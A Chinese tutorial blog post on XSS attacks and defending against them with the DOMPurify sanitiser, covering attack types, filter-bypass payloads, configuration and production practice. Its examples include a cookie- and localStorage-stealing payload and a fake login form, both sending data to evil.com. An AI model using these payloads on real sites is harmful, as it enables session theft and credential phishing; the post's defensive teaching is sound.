什么是XSS攻击,怎么预防,一篇文章带你搞清楚

413 阅读13分钟

前言

做富文本编辑器或者处理用户生成内容的时候,总会遇到一个绕不开的问题:怎么防 XSS 攻击?看着那些花样百出的攻击代码,<img src=x onerror=alert(1)>javascript:alert(1) 这些,一个不小心就可能让用户的 Cookie 被偷走。

研究了一圈才发现:XSS 防御这事儿说难也难,说简单也简单。关键是要搞清楚攻击原理,然后用对工具。DOMPurify 就是这么个靠谱的工具——由安全专家写的,专门用来净化 HTML,防止 XSS 攻击。

先抛几个问题,看看你是不是也有同样的困惑:

  • XSS 攻击到底是怎么实现的?有哪些常见手法?
  • 为什么用正则表达式过滤 HTML 总是被绕过?
  • DOMPurify 是怎么做到既安全又高效的?
  • 它的底层原理是什么?为什么比其他方案好用?
  • 在生产环境中怎么用才最安全?(这个很关键)

什么是 XSS 攻击?

基本概念

XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者通过在网页中注入恶意脚本,当其他用户浏览该网页时,恶意脚本就会执行。

想想也是,网页就是 HTML + JavaScript 组成的,如果你把用户输入的内容直接插到页面里,用户输入个 <script> 标签,浏览器当然会老老实实执行。

XSS 的三种类型

graph TD
    A[XSS 攻击类型] --> B[存储型 XSS]
    A --> C[反射型 XSS]
    A --> D[DOM 型 XSS]
    
    B --> B1[存储在数据库]
    B --> B2[持久性攻击]
    B --> B3[危害最大]
    
    C --> C1[URL 参数传递]
    C --> C2[一次性攻击]
    C --> C3[需要诱导点击]
    
    D --> D1[纯客户端]
    D --> D2[不经过服务器]
    D --> D3[修改 DOM 结构]

1. 存储型 XSS(最危险)

恶意脚本被存储在服务器数据库中,每次用户访问都会触发。

// 攻击场景:用户在评论区输入
const userComment = '<img src=x onerror="fetch(\'http://evil.com?cookie=\'+document.cookie)">';

// 服务器直接存储,然后在页面展示
document.getElementById('comments').innerHTML = userComment;
// 完了,所有看到这条评论的人的 Cookie 都被偷走了

2. 反射型 XSS

恶意脚本通过 URL 参数传递,服务器直接将其反射到页面中。

// URL: https://example.com/search?q=<script>alert(document.cookie)</script>

// 后端代码(错误示范)
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>搜索结果:${query}</h1>`);  // 直接输出用户输入,危险!
});

3. DOM 型 XSS

纯前端的问题,恶意代码通过修改 DOM 结构触发。

// 从 URL 获取参数并直接插入 DOM
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
document.getElementById('welcome').innerHTML = `欢迎 ${name}`;

// 攻击 URL: ?name=<img src=x onerror=alert(1)>

XSS 攻击的常见手法

攻击者的套路可多了,看几个经典的:

1. 事件处理器注入

<!-- 最常见的 -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>

<!-- 鼠标事件 -->
<div onmouseover=alert(1)>悬停试试</div>
<a onclick=alert(1)>点我</a>

<!-- 表单事件 -->
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus><option>test</select>

2. JavaScript 伪协议

<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)"></iframe>
<object data="javascript:alert(1)">

3. 编码绕过

<!-- HTML 实体编码 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

<!-- URL 编码 -->
<a href="javascript:%61%6c%65%72%74%28%31%29">点击</a>

<!-- Unicode 编码 -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

4. 标签嵌套绕过

<svg><script>alert(1)</script></svg>
<math><mtext><script>alert(1)</script></mtext></math>
<table><tr><td><img src=x onerror=alert(1)></td></tr></table>

XSS 攻击能做什么?

别小看 XSS,它能干的坏事可不少:

攻击目标具体手段后果
窃取用户信息读取 Cookie、localStorage账号被盗,隐私泄露
劫持用户会话获取 session token冒充用户操作
钓鱼攻击伪造登录框骗取密码
传播蠕虫自动转发攻击代码大规模感染
挖矿运行挖矿脚本占用用户资源
页面篡改修改页面内容散布虚假信息

真实案例:

// 窃取 Cookie 并发送到攻击者服务器
<img src=x onerror="
  fetch('http://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      localStorage: JSON.stringify(localStorage),
      url: location.href
    })
  })
">

// 伪造登录框进行钓鱼
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999">
  <form action="http://evil.com/phishing" style="position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px">
    <h2>会话已过期,请重新登录</h2>
    <input name="username" placeholder="用户名">
    <input name="password" type="password" placeholder="密码">
    <button>登录</button>
  </form>
</div>

为什么正则表达式防不住 XSS?

正则过滤的困境

很多人第一反应是用正则表达式过滤危险字符:

// 天真的正则过滤(错误示范)
function sanitize(html) {
  return html
    .replace(/<script/gi, '')
    .replace(/javascript:/gi, '')
    .replace(/onerror/gi, '')
    .replace(/onclick/gi, '');
}

// 看起来很完美?
console.log(sanitize('<script>alert(1)</script>'));  
// 输出: >alert(1)  好像成功了?

但攻击者有一万种绕过方式:

// 绕过方式 1:大小写混合
'<ScRiPt>alert(1)</sCrIpT>'

// 绕过方式 2:双写
'<scr<script>ipt>alert(1)</script>'

// 绕过方式 3:编码
'<img src=x onerror="&#97;lert(1)">'

// 绕过方式 4:换行符和空白字符
'<img src=x onerror=\nalert(1)>'
'<img/src=x/onerror=alert(1)>'

// 绕过方式 5:利用 SVG 和 MathML
'<svg><script>alert(1)</script></svg>'

// 绕过方式 6:使用其他事件
'<body onload=alert(1)>'
'<input onfocus=alert(1) autofocus>'
'<marquee onstart=alert(1)>'

为什么正则不行?

问题的根源在于:

  1. HTML 规范太复杂:标签、属性、编码、嵌套规则千变万化
  2. 浏览器容错性强<img/src=x> 这种畸形 HTML 也能解析
  3. 攻击手法在进化:新的绕过技巧不断出现
  4. 正则是字符串匹配:它不理解 HTML 的语义和结构

用字符串处理 HTML 就像用剪刀修汽车——工具不对,怎么修都是问题。

// 正则看到的只是字符
'<img src=x onerror=alert(1)>'
// ↓
// 一串字符,没有结构信息

// 但浏览器解析成的是
{
  tag: 'img',
  attributes: {
    src: 'x',
    onerror: 'alert(1)'  // ← 危险!会被执行
  }
}

DOMPurify:正确的防御方式

什么是 DOMPurify?

DOMPurify 是一个专门用来净化 HTML 的库,由安全专家团队开发和维护。从 2014 年开始到现在,已经是个非常成熟的方案了。

核心特点:

  • 超快:利用浏览器原生 DOM 解析,比正则快得多
  • 超小:gzip 后只有 12KB,比 OClif 小 80%
  • 超安全:由 Cure53 安全团队维护,有漏洞赏金计划
  • 开箱即用:默认配置就很安全,不需要复杂配置
  • 高度可配置:支持白名单、钩子函数等高级功能

快速上手

使用超级简单:

// 浏览器端
import DOMPurify from 'dompurify';

const dirty = '<img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);

console.log(clean);  // <img src="x">
// onerror 被去掉了,安全!
// Node.js 端(需要 jsdom)
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';

const window = new JSDOM('').window;
const purify = DOMPurify(window);

const clean = purify.sanitize('<img src=x onerror=alert(1)>');
console.log(clean);  // <img src="x">

实战案例

看几个实际场景:

1. 富文本编辑器

// 用户输入的富文本内容
const userContent = `
  <h1>我的文章</h1>
  <p>这是正常内容</p>
  <img src=x onerror=alert(1)>
  <script>alert('XSS')</script>
`;

// 保存到数据库前先净化
const safeContent = DOMPurify.sanitize(userContent);

console.log(safeContent);
// 输出:
// <h1>我的文章</h1>
// <p>这是正常内容</p>
// <img src="x">
// ← script 标签完全被删除了

2. 评论系统

// 用户评论
function saveComment(content) {
  // 允许一些基本的 HTML 格式
  const clean = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['b', 'i', 'u', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'target']
  });
  
  // 存入数据库
  db.comments.insert({ content: clean });
}

// 测试
saveComment('<p>这是<b>粗体</b></p><script>alert(1)</script>');
// 存入数据库的是: <p>这是<b>粗体</b></p>
// script 被删除,但安全的格式被保留

3. Markdown 渲染

import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';

const md = new MarkdownIt({ html: true });  // 允许 HTML

function renderMarkdown(markdown) {
  // 先用 markdown-it 渲染
  const html = md.render(markdown);
  
  // 再用 DOMPurify 净化(防止 markdown 中插入的 HTML 攻击)
  return DOMPurify.sanitize(html);
}

// 测试
const markdown = `
# 标题

[链接](javascript:alert(1))

<img src=x onerror=alert(1)>
`;

console.log(renderMarkdown(markdown));
// 危险的 javascript: 和 onerror 都被清理了

DOMPurify 的底层原理

核心思路:利用浏览器原生能力

DOMPurify 的核心思想是:不要自己写 HTML 解析器,而是让浏览器来解析

graph LR
    A[恶意 HTML 字符串] --> B[浏览器 DOM 解析器]
    B --> C[DOM 树]
    C --> D[遍历 DOM 树]
    D --> E{检查节点}
    E -->|在白名单| F[保留]
    E -->|不在白名单| G[删除]
    F --> H[安全的 HTML]
    G --> H

具体步骤:

1. HTML 字符串 → DOM 树

// 简化的原理示意(实际实现更复杂)
function simplePurify(dirtyHTML) {
  // 创建一个临时容器
  const container = document.createElement('div');
  
  // 让浏览器解析 HTML
  container.innerHTML = dirtyHTML;
  
  // 现在 dirtyHTML 已经变成了 DOM 树
  // 浏览器会自动处理各种编码、标签闭合等问题
  return container;
}

这一步的好处是:

  • 浏览器解析器经过多年优化:性能好,兼容性强
  • 自动处理各种边界情况:畸形 HTML、编码、嵌套等
  • 不需要自己实现复杂的解析逻辑

2. 遍历 DOM 树 + 白名单过滤

// 白名单配置(简化版)
const ALLOWED_TAGS = {
  'div': true, 'span': true, 'p': true,
  'a': true, 'img': true, 'b': true, 'i': true
  // ... 更多安全标签
};

const ALLOWED_ATTRS = {
  'href': true, 'src': true, 'alt': true, 'title': true
  // ... 更多安全属性
};

const ALLOWED_PROTOCOLS = {
  'http:': true, 'https:': true, 'mailto:': true
  // 注意:不包括 javascript:
};

// 遍历并清理 DOM 树
function cleanDOMTree(node) {
  // 检查标签名
  if (!ALLOWED_TAGS[node.tagName.toLowerCase()]) {
    node.remove();  // 不在白名单,删除
    return;
  }
  
  // 检查属性
  Array.from(node.attributes).forEach(attr => {
    const name = attr.name.toLowerCase();
    
    // 属性不在白名单
    if (!ALLOWED_ATTRS[name]) {
      node.removeAttribute(name);
      return;
    }
    
    // 检查事件处理器(on* 属性)
    if (name.startsWith('on')) {
      node.removeAttribute(name);  // 删除所有事件处理器
      return;
    }
    
    // 检查 URL 协议
    if (name === 'href' || name === 'src') {
      try {
        const url = new URL(attr.value, window.location.href);
        if (!ALLOWED_PROTOCOLS[url.protocol]) {
          node.removeAttribute(name);  // 危险协议,删除
        }
      } catch (e) {
        node.removeAttribute(name);  // 无效 URL,删除
      }
    }
  });
  
  // 递归处理子节点
  Array.from(node.childNodes).forEach(child => {
    if (child.nodeType === 1) {  // 元素节点
      cleanDOMTree(child);
    }
  });
}

3. 特殊处理:Shadow DOM 和模板

// DOMPurify 还会递归处理 Shadow DOM
function cleanShadowDOM(element) {
  if (element.shadowRoot) {
    // 净化 Shadow DOM 内容
    cleanDOMTree(element.shadowRoot);
  }
  
  // 处理 <template> 标签
  if (element.tagName === 'TEMPLATE') {
    cleanDOMTree(element.content);
  }
}

4. DOM Clobbering 防护

DOM Clobbering 是一种通过 HTML 属性污染 JavaScript 全局变量的攻击:

<!-- 攻击示例 -->
<form name="getElementById">
  <input name="alert">
</form>

<script>
  // 现在 document.getElementById 被覆盖了!
  document.getElementById('test');  // 报错:不是函数
</script>

DOMPurify 的防护措施:

// 配置:启用命名空间隔离
const clean = DOMPurify.sanitize(dirty, {
  SANITIZE_NAMED_PROPS: true
});

// 输入: <img id="alert">
// 输出: <img id="user-content-alert">
// ↑ 自动加前缀,避免污染全局变量

为什么 DOMPurify 快?

性能对比:

方案处理 10KB HTML原理
正则表达式~5ms字符串匹配
自建解析器~20ms纯 JS 实现解析
DOMPurify~2ms浏览器原生 DOM 解析

DOMPurify 快的原因:

  1. 利用浏览器原生 C++ 实现的 DOM 解析器:比 JS 快几十倍
  2. 直接操作 DOM 树:不需要字符串正则匹配
  3. 一次遍历完成所有检查:不需要多次处理

源码解析(核心部分)

看一下 DOMPurify 的核心源码(简化版):

// 真实的 DOMPurify 核心逻辑(简化)
const DOMPurify = (function() {
  // 配置默认白名单
  const DEFAULT_ALLOWED_TAGS = [
    'a', 'abbr', 'address', 'area', 'article',
    'b', 'bdi', 'bdo', 'blockquote', 'br',
    'caption', 'cite', 'code', 'col', 'colgroup',
    'div', 'em', 'figcaption', 'figure', 'footer',
    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
    'header', 'hr', 'i', 'img', 'li', 'main',
    'mark', 'nav', 'ol', 'p', 'pre', 'section',
    'small', 'span', 'strong', 'sub', 'sup',
    'table', 'tbody', 'td', 'th', 'thead', 'tr', 'ul'
    // ... 更多
  ];
  
  return {
    sanitize: function(dirty, config = {}) {
      // 创建 DOM 容器
      const body = document.createElement('body');
      
      // 让浏览器解析 HTML
      body.innerHTML = dirty;
      
      // 遍历清理
      _sanitizeElements(body, config);
      _sanitizeAttributes(body, config);
      _sanitizeShadowDOM(body, config);
      
      // 返回安全的 HTML
      return body.innerHTML;
    }
  };
  
  function _sanitizeElements(currentNode, config) {
    const nodeName = currentNode.nodeName.toLowerCase();
    
    // 不在白名单,删除
    if (!DEFAULT_ALLOWED_TAGS.includes(nodeName)) {
      currentNode.remove();
      return;
    }
    
    // 递归处理子节点
    Array.from(currentNode.childNodes).forEach(node => {
      if (node.nodeType === 1) {  // 元素节点
        _sanitizeElements(node, config);
      }
    });
  }
  
  function _sanitizeAttributes(currentNode, config) {
    Array.from(currentNode.attributes || []).forEach(attr => {
      const lcName = attr.name.toLowerCase();
      
      // 删除所有事件处理器
      if (lcName.startsWith('on')) {
        currentNode.removeAttribute(attr.name);
        return;
      }
      
      // 检查 URL 协议
      if (lcName === 'href' || lcName === 'src') {
        const value = attr.value.trim();
        
        // 删除危险协议
        if (value.startsWith('javascript:') ||
            value.startsWith('data:') ||
            value.startsWith('vbscript:')) {
          currentNode.removeAttribute(attr.name);
        }
      }
    });
  }
  
  function _sanitizeShadowDOM(currentNode, config) {
    // 处理 Shadow DOM
    if (currentNode.shadowRoot) {
      _sanitizeElements(currentNode.shadowRoot, config);
      _sanitizeAttributes(currentNode.shadowRoot, config);
    }
    
    // 处理 template
    if (currentNode.content) {
      _sanitizeElements(currentNode.content, config);
      _sanitizeAttributes(currentNode.content, config);
    }
  }
})();

DOMPurify 高级配置

1. 自定义允许的标签和属性

// 只允许特定标签
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'u', 'a', 'p'],
  ALLOWED_ATTR: ['href']
});

// 在默认白名单基础上添加
const clean = DOMPurify.sanitize(dirty, {
  ADD_TAGS: ['my-component'],
  ADD_ATTR: ['data-id']
});

// 禁止特定标签(其他都允许)
const clean = DOMPurify.sanitize(dirty, {
  FORBID_TAGS: ['style', 'form', 'input']
});

2. 使用配置文件

// 只允许 HTML(不允许 SVG 和 MathML)
const clean = DOMPurify.sanitize(dirty, {
  USE_PROFILES: { html: true }
});

// 只允许 SVG
const clean = DOMPurify.sanitize(dirty, {
  USE_PROFILES: { svg: true }
});

// HTML + SVG
const clean = DOMPurify.sanitize(dirty, {
  USE_PROFILES: { html: true, svg: true }
});

3. 处理 Custom Elements

// 允许自定义元素
const clean = DOMPurify.sanitize(dirty, {
  CUSTOM_ELEMENT_HANDLING: {
    // 允许以 my- 开头的标签
    tagNameCheck: /^my-/,
    
    // 允许包含 data 的属性
    attributeNameCheck: /^data-/,
    
    // 允许自定义内置元素
    allowCustomizedBuiltInElements: true
  }
});

// 示例
const html = '<my-button data-id="123" onclick="alert(1)">Click</my-button>';
const clean = DOMPurify.sanitize(html, {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^my-/,
    attributeNameCheck: /^data-/
  }
});
// 结果: <my-button data-id="123">Click</my-button>
// ↑ onclick 被删除,但 my-button 和 data-id 被保留

4. 钩子函数(Hooks)

// 在净化前后执行自定义逻辑
DOMPurify.addHook('beforeSanitizeElements', (currentNode) => {
  console.log('处理节点:', currentNode.nodeName);
});

DOMPurify.addHook('uponSanitizeAttribute', (currentNode, data) => {
  // 自定义属性处理逻辑
  if (data.attrName === 'target' && data.attrValue === '_blank') {
    // 给 target="_blank" 的链接自动加上 rel="noopener"
    currentNode.setAttribute('rel', 'noopener noreferrer');
  }
});

const clean = DOMPurify.sanitize('<a href="https://example.com" target="_blank">链接</a>');
// 结果: <a href="https://example.com" target="_blank" rel="noopener noreferrer">链接</a>

5. 返回 DOM 而非字符串

// 返回 DOM 节点(性能更好,避免二次解析)
const cleanDOM = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true
});
document.body.appendChild(cleanDOM);

// 返回 DocumentFragment
const fragment = DOMPurify.sanitize(dirty, {
  RETURN_DOM_FRAGMENT: true
});

6. 模板系统支持

// 如果你的模板系统使用 {{ }} 或 ${ } 语法
const clean = DOMPurify.sanitize(dirty, {
  SAFE_FOR_TEMPLATES: true
});

// 输入: '<div>{{username}}</div><img src=x onerror=alert(1)>'
// 输出: '<div>{{username}}</div><img src="x">'
// ↑ 模板语法被保留,但 XSS 被清除

生产环境最佳实践

1. 前后端双重验证

// ❌ 错误:只在前端验证
// 前端(不安全)
const clean = DOMPurify.sanitize(userInput);
fetch('/api/comments', {
  method: 'POST',
  body: JSON.stringify({ content: clean })
});

// ✅ 正确:前后端都验证
// 前端
const clean = DOMPurify.sanitize(userInput);
fetch('/api/comments', {
  method: 'POST',
  body: JSON.stringify({ content: clean })
});

// 后端(Node.js)
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';

app.post('/api/comments', (req, res) => {
  const window = new JSDOM('').window;
  const purify = DOMPurify(window);
  
  // 再次净化,防止前端被绕过
  const clean = purify.sanitize(req.body.content);
  
  db.comments.insert({ content: clean });
  res.json({ success: true });
});

2. 配置合理的白名单

// 根据实际需求配置白名单
const commentConfig = {
  // 评论只允许简单格式
  ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'u', 'a', 'code', 'pre'],
  ALLOWED_ATTR: ['href'],
  
  // 不允许 data URI(防止嵌入脚本)
  ALLOW_DATA_ATTR: false,
  
  // 限制 URL 协议
  ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto):)/i
};

const articleConfig = {
  // 文章允许更丰富的格式
  ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'u', 'a', 'img', 'h1', 'h2', 'h3', 
                  'ul', 'ol', 'li', 'blockquote', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
  
  // 图片允许 data URI(但要小心大小限制)
  ADD_DATA_URI_TAGS: ['img']
};

3. 监控和日志

// 记录被清理的内容,用于安全审计
function sanitizeWithLog(html, userId) {
  const clean = DOMPurify.sanitize(html);
  
  // 检查是否有内容被清理
  if (html !== clean) {
    // 记录日志
    logger.warn('XSS attempt detected', {
      userId,
      original: html,
      cleaned: clean,
      removed: DOMPurify.removed,
      timestamp: new Date()
    });
    
    // 严重的攻击尝试可以触发告警
    if (DOMPurify.removed.length > 5) {
      alertSecurity('Potential XSS attack', { userId, html });
    }
  }
  
  return clean;
}

4. Content Security Policy (CSP)

DOMPurify + CSP = 双重保险:

<!-- 在 HTML 中设置 CSP -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'">
// 或在服务器响应头中设置
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; object-src 'none';"
  );
  next();
});

CSP 的作用:

  • 即使 XSS 绕过了 DOMPurify,CSP 也能阻止脚本执行
  • 限制资源加载来源
  • 阻止内联脚本执行(除非明确允许)

5. 定期更新

// 检查 DOMPurify 版本
console.log(DOMPurify.version);  // 当前版本

// package.json 中定期更新
{
  "dependencies": {
    "dompurify": "^3.0.0",  // 使用最新稳定版
    "jsdom": "^23.0.0"      // Node.js 环境需要
  }
}

为什么要更新?

  • 新的 XSS 攻击手法不断出现
  • 浏览器行为可能变化
  • 安全漏洞修复

6. 性能优化

// 批量处理时复用实例
class CommentSanitizer {
  constructor() {
    // 预配置
    this.config = {
      ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'a'],
      ALLOWED_ATTR: ['href']
    };
  }
  
  sanitize(html) {
    return DOMPurify.sanitize(html, this.config);
  }
  
  sanitizeBatch(htmlArray) {
    return htmlArray.map(html => this.sanitize(html));
  }
}

// 使用
const sanitizer = new CommentSanitizer();
const cleanComments = sanitizer.sanitizeBatch(userComments);

7. Trusted Types 集成(现代浏览器)

// 配合 Trusted Types API 使用
const policy = window.trustedTypes.createPolicy('default', {
  createHTML: (dirty) => {
    return DOMPurify.sanitize(dirty, {
      RETURN_TRUSTED_TYPE: false
    });
  }
});

// 使用
element.innerHTML = policy.createHTML(userInput);
// 这样可以利用浏览器的 Trusted Types 保护

常见陷阱和注意事项

1. 不要在净化后再修改 HTML

// ❌ 错误:净化后又手动拼接
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = `<div class="comment">${clean}</div>`;
// 如果 clean 里有引号,还是可能被注入

// ✅ 正确:先拼接再净化
const html = `<div class="comment">${userInput}</div>`;
element.innerHTML = DOMPurify.sanitize(html);

2. 注意 jsdom 版本(Node.js 环境)

// jsdom 版本太老会有安全问题
// ❌ 不要用:jsdom@19.0.0 或更早版本
// ✅ 推荐:jsdom@20.0.0 或更新版本

// package.json
{
  "dependencies": {
    "jsdom": "^23.0.0"  // 使用最新版
  }
}

3. 不要用 happy-dom(不安全)

// ❌ 不推荐:happy-dom 目前不够安全
import { Window } from 'happy-dom';
const window = new Window();
const purify = DOMPurify(window);
// 可能会被绕过!

// ✅ 推荐:使用 jsdom
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const purify = DOMPurify(window);

4. 小心 Data URIs

// Data URI 可以嵌入 JavaScript
const dangerous = '<img src="data:text/html,<script>alert(1)</script>">';

// DOMPurify 默认会清理危险的 Data URI
const clean = DOMPurify.sanitize(dangerous);
console.log(clean);  // <img>  ← src 被删除

// 如果确实需要 Data URI(比如图片),要限制类型
const config = {
  ADD_DATA_URI_TAGS: ['img'],
  ALLOWED_URI_REGEXP: /^data:image\//  // 只允许图片的 Data URI
};

5. 不要禁用 SANITIZE_DOM

// ❌ 危险:禁用 DOM Clobbering 保护
const clean = DOMPurify.sanitize(dirty, {
  SANITIZE_DOM: false  // 别这么做!
});

// ✅ 保持默认
const clean = DOMPurify.sanitize(dirty);
// 默认就是 SANITIZE_DOM: true

实战案例分析

案例 1:社交媒体平台

需求:

  • 用户可以发布包含图片、链接的内容
  • 支持一些简单的文本格式
  • 防止 XSS 攻击
class PostSanitizer {
  constructor() {
    this.config = {
      // 允许的标签
      ALLOWED_TAGS: [
        'p', 'br', 'b', 'i', 'u', 'a', 'img',
        'ul', 'ol', 'li', 'blockquote'
      ],
      
      // 允许的属性
      ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
      
      // 链接自动加 noopener
      ADD_ATTR: ['target'],
      
      // 限制 URL 协议
      ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto):)/i,
      
      // 不允许 Data URI(避免嵌入恶意内容)
      ALLOW_DATA_ATTR: false
    };
    
    // 添加钩子:给外部链接自动加 rel="noopener noreferrer"
    DOMPurify.addHook('afterSanitizeAttributes', (node) => {
      if (node.tagName === 'A') {
        const href = node.getAttribute('href');
        if (href && !href.startsWith('/')) {
          node.setAttribute('target', '_blank');
          node.setAttribute('rel', 'noopener noreferrer');
        }
      }
    });
  }
  
  sanitize(html) {
    const clean = DOMPurify.sanitize(html, this.config);
    
    // 记录被清理的内容
    if (DOMPurify.removed.length > 0) {
      console.warn('Removed dangerous elements:', DOMPurify.removed);
    }
    
    return clean;
  }
}

// 使用
const sanitizer = new PostSanitizer();
const userPost = `
  <p>Check out my website!</p>
  <a href="https://example.com">Click here</a>
  <img src="https://example.com/image.jpg" alt="image">
  <script>alert('XSS')</script>
`;

const clean = sanitizer.sanitize(userPost);
console.log(clean);
// 输出:
// <p>Check out my website!</p>
// <a href="https://example.com" target="_blank" rel="noopener noreferrer">Click here</a>
// <img src="https://example.com/image.jpg" alt="image">
// ← script 被删除,链接自动加了安全属性

案例 2:在线代码编辑器

需求:

  • 显示用户提交的代码(可能包含 HTML)
  • 需要语法高亮
  • 防止代码执行
import hljs from 'highlight.js';
import DOMPurify from 'dompurify';

function displayCode(code, language) {
  // 1. 先用语法高亮库处理
  const highlighted = hljs.highlight(code, { language }).value;
  
  // 2. 再用 DOMPurify 净化(防止高亮库的 XSS 漏洞)
  const clean = DOMPurify.sanitize(highlighted, {
    ALLOWED_TAGS: ['span', 'code', 'pre'],
    ALLOWED_ATTR: ['class']  // 只允许 class(用于语法高亮样式)
  });
  
  // 3. 安全地插入页面
  const pre = document.createElement('pre');
  const codeElement = document.createElement('code');
  codeElement.className = `language-${language}`;
  codeElement.innerHTML = clean;
  pre.appendChild(codeElement);
  
  return pre;
}

// 测试
const maliciousCode = `
function hello() {
  console.log('Hello');
}
// <img src=x onerror=alert(1)>
`;

const codeBlock = displayCode(maliciousCode, 'javascript');
document.body.appendChild(codeBlock);
// 代码被正确高亮显示,但 img 标签被清理了

案例 3:Markdown 编辑器

需求:

  • 支持 Markdown 语法
  • 允许嵌入 HTML
  • 防止 XSS
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';

class SafeMarkdownRenderer {
  constructor() {
    this.md = new MarkdownIt({
      html: true,  // 允许 HTML
      linkify: true,  // 自动识别链接
      typographer: true
    });
    
    this.purifyConfig = {
      ALLOWED_TAGS: [
        'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
        'p', 'br', 'b', 'i', 'u', 'strong', 'em',
        'a', 'img', 'ul', 'ol', 'li',
        'blockquote', 'code', 'pre',
        'table', 'thead', 'tbody', 'tr', 'th', 'td'
      ],
      ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
      KEEP_CONTENT: true  // 删除标签但保留内容
    };
  }
  
  render(markdown) {
    // 1. Markdown 转 HTML
    const html = this.md.render(markdown);
    
    // 2. 净化 HTML
    const clean = DOMPurify.sanitize(html, this.purifyConfig);
    
    return clean;
  }
}

// 使用
const renderer = new SafeMarkdownRenderer();
const markdown = `
# 标题

这是一段文字,包含 **粗体** 和 *斜体*。

[普通链接](https://example.com)
[危险链接](javascript:alert(1))

\`\`\`javascript
console.log('Hello');
\`\`\`

<img src=x onerror=alert(1)>
<script>alert('XSS')</script>
`;

const html = renderer.render(markdown);
console.log(html);
// 正常的 Markdown 被渲染,危险的 JavaScript 被清除

与其他方案对比

DOMPurify vs 正则表达式

特性DOMPurify正则表达式
安全性非常高,专业安全团队维护低,容易被绕过
性能快(利用浏览器原生解析)慢(复杂正则性能差)
可维护性高(配置化)低(难以覆盖所有情况)
更新成本低(只需更新库)高(需要自己跟踪新攻击手法)
误杀率低(精确识别)高(正常内容也可能被过滤)

DOMPurify vs 模板引擎自带转义

// Vue.js 自动转义
<template>
  <div>{{ userInput }}</div>  <!-- 自动转义,安全 -->
  <div v-html="userInput"></div>  <!-- 不转义,危险!需要手动净化 -->
</template>

// React 自动转义
function Component() {
  return (
    <div>{userInput}</div>  {/* 自动转义,安全 */}
    <div dangerouslySetInnerHTML={{ __html: userInput }} />  {/* 不转义,危险! */}
  );
}

// 正确做法:用 DOMPurify 净化后再用 v-html 或 dangerouslySetInnerHTML
const clean = DOMPurify.sanitize(userInput);
<div v-html="clean"></div>

要点:

  • 模板引擎的转义只能防止插值注入
  • 不能防止 v-html / dangerouslySetInnerHTML 的 XSS
  • 需要 DOMPurify 配合使用

DOMPurify vs CSP (Content Security Policy)

它们是互补的,不是替代关系:

防御层DOMPurifyCSP
作用位置输入时净化浏览器执行时拦截
防御策略过滤恶意代码限制代码执行
优势精确控制、跨浏览器即使 XSS 绕过也能拦截
劣势可能被绕过配置复杂、有兼容性问题

最佳实践:DOMPurify + CSP 双重保护

// 1. 输入时用 DOMPurify 净化
const clean = DOMPurify.sanitize(userInput);

// 2. 设置 CSP(服务器端)
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
  );
  next();
});

// 即使 DOMPurify 被绕过,CSP 也能拦截脚本执行

总结

研究完 XSS 防御和 DOMPurify,我的理解是:

原理层面

  • XSS 攻击的本质是注入恶意代码,利用浏览器执行
  • 正则过滤不靠谱,HTML 规范太复杂,绕过方式太多
  • DOMPurify 的核心思路是利用浏览器原生 DOM 解析器 + 白名单过滤
  • 它不自己解析 HTML,而是让浏览器解析成 DOM 树,然后遍历清理

实用层面

  • DOMPurify 使用简单:一行代码就能用
  • 性能优秀:比正则快,比自建解析器快得多
  • 配置灵活:支持白名单、钩子、自定义元素等
  • 安全可靠:由专业安全团队维护,有漏洞赏金计划
  • 不是银弹:需要配合前后端验证、CSP、日志监控等措施

使用建议

  1. 前后端都要验证:不要只在前端净化,后端也要再次检查
  2. 合理配置白名单:根据实际需求限制允许的标签和属性
  3. 定期更新:跟进最新版本,获取安全更新
  4. 监控日志:记录被清理的内容,及时发现攻击尝试
  5. 配合 CSP:双重保护,即使 XSS 绕过也能拦截
  6. 测试代码:在实际环境中测试,确保不会误杀正常内容

如果你的项目需要处理用户生成的 HTML 内容,强烈建议用 DOMPurify。别想着自己写正则过滤——那是个无底洞,攻击者永远比你想得多。专业的事交给专业的工具,省心又安全。


参考资料

官方文档

  1. DOMPurify GitHub - 官方仓库和文档
  2. DOMPurify Demo - 在线演示和测试

安全研究

